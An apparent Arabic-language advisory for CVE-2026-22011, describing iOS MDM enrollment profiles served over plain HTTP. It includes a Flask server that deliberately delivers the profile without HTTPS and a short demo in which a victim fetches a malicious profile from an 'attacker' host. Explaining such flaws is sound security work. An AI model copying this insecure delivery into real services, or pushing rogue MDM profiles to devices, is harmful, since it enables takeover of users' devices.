CVE-2026-22011 – تسليم ملف تعريف MDM لنظام iOS عبر HTTP

كود البرنامج (خادم Python Flask MDM)

# mdm_server.py - Serves enrollment profile over plain HTTP
from flask import Flask, send_file

app = Flask(__name__)
@app.route('/enroll.mobileconfig')
def serve_profile():
    # Vulnerability: profile delivered without HTTPS
    return send_file('profile.mobileconfig', mimetype='application/x-apple-aspen-config')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

CVE-2026-22011 – تسليم ملف تعريف MDM لنظام iOS عبر HTTP

نظرة عامة

يتم تقديم ملف تعريف تسجيل MDM عبر HTTP عادي دون تشفير أو التحقق من التوقيع الرقمي. يمكن للمهاجم على نفس الشبكة اعتراض الطلب واستبدال الملف التعريفي بملف خبيث، مما يمنحه صلاحيات إدارة الجهاز.

تفاصيل الثغرة

• النوع: رجل في المنتصف / نقل غير آمن
• التأثير: اختراق كامل للجهاز عبر MDM خبيث.
• السبب الجذري: عنوان URL للملف التعريفي هو HTTP، ولا يفرض iOS استخدام HTTPS لتسجيل MDM (يعتمد على الإعدادات)، مما يتيح الاعتراض.

عرض الاستغلال

شغّل خادم HTTP الخاص بالمهاجم:

python mdm_server.py

عندما يزور الضحية http://attacker/enroll.mobileconfig، يتم تنزيل الملف التعريفي الخبيث.